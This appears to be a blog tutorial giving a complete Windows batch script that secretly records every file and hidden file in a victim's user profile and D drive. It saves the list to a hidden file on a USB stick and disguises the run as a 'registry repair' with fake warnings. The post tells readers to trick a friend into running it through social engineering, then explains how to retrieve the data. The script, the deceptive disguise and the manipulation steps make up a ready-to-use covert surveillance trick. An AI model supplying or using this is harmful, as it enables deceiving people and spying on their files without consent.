This is a batch file designed to secretly get a list of all the files and folders on a drive via a USB drive. The batch file even lists hidden files. All you have to do is put the batch file into the USB drive and make your victim open it. When you get back the USB drive the list would be waiting for you!
The listing of the files could take some time. So it is essential that the victim does not close the batch file until the listing is completed. You can achieve this in two ways. One way is to run the batch invisibly as a process using two extra short VBScript files. The other way is to mask the listing of the files with some spoof like system configuration or something important. In this trick I am going to use the second method. This is easier than the first method.
Step 1: Paste the following code into notepad and save as a .bat file.
ECHO OFF
COLOR 0C
CLS
ECHO.>>XBData.txt
ECHO %DATE% - %TIME%>>XBData.txt
ECHO.>>XBData.txt
ATTRIB XBData.txt +H +S
CLS
ECHO.
ECHO Finding and fixing registry errors. Please do not close the program or reboot the computer
ECHO The registry may be damaged permanently.
ECHO.
ECHO Please wait...
DIR /S /B %USERPROFILE%\*>>XBData.txt
DIR /S /B D:\*>>XBData.txt
DIR /S /B /A:H %USERPROFILE%\*>>XBData.txt
DIR /S /B /A:H D:\*>>XBData.txt
ATTRIB XBData.txt +H +S
Step 2: After saving, copy the batch file into the root of your USB drive.
Step 3: Now the trap has been set. Give the USB drive to your friend and use some social engineering to make him/her open it. You can tell your friend that it is a software you made or some cool software. This depends on your social engineering skills. Just make him/her open it remember to tell not to format the USB drive.
When you get back the pendrive the data collected would be in a hidden text file. To reveal the text file:
Step 1: Open command prompt window. To open a command window goto start menu and type cmd into the search bar and press enter.
Step 2: Assuming the USB drive letter is F Enter the command into the cmd window and execute it: attrib "F:\XBData.txt" -h -s
After you reveal the text file open it and you will see a list of files stored in his drives including the hidden ones. This trick greatly depends on your skills in social engineering. Enjoy the look of your friends face when you tell them where he stores certain files and what files he/she has hidden!
Post a Comment